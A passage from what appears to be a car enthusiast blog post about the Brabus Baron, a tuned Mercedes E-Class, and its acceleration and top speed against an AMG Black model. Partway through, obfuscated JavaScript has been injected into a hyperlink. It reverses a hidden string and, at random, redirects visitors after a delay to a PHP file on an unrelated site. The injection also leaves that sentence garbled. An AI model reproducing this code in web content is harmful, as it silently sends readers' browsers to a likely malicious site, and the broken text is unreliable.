But as this particular AMG slopes back to the safety of the shadows before its next pounce…
…we roll out quite another limited edition beast from Germany, albeit with a new makeover. Here we have the Brabus Baron, a name which in itself should send the eyebrows soaring. And that’s a common theme when you look a little deeper.
Based on the Mercedes E-Class, the Baron (or 800 E V12 if you insist) sticks with the 6.ish-litre theme albeit through a 6.3-litre SV12 R Brabus 800 engine. Although the feoricty is tempered on the outside, the Baron will actually beat the AMG Black to 100kph by 0.5 seconds, and tops a frankly ludicrous 370kph.
And that (thankfully) is not all down to the enclosed rear wheels, which the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/mclaren-x-1-a-one-off-from-woking/” target=”_blank”>one-off McLaren X-1 attempted to bring back into fashion recently. The more salient point is the 790hp being battered around the engine bay by the turbochargers, enough I’m sure you’ll agree to comprehensively melt the tyres to the road surface.
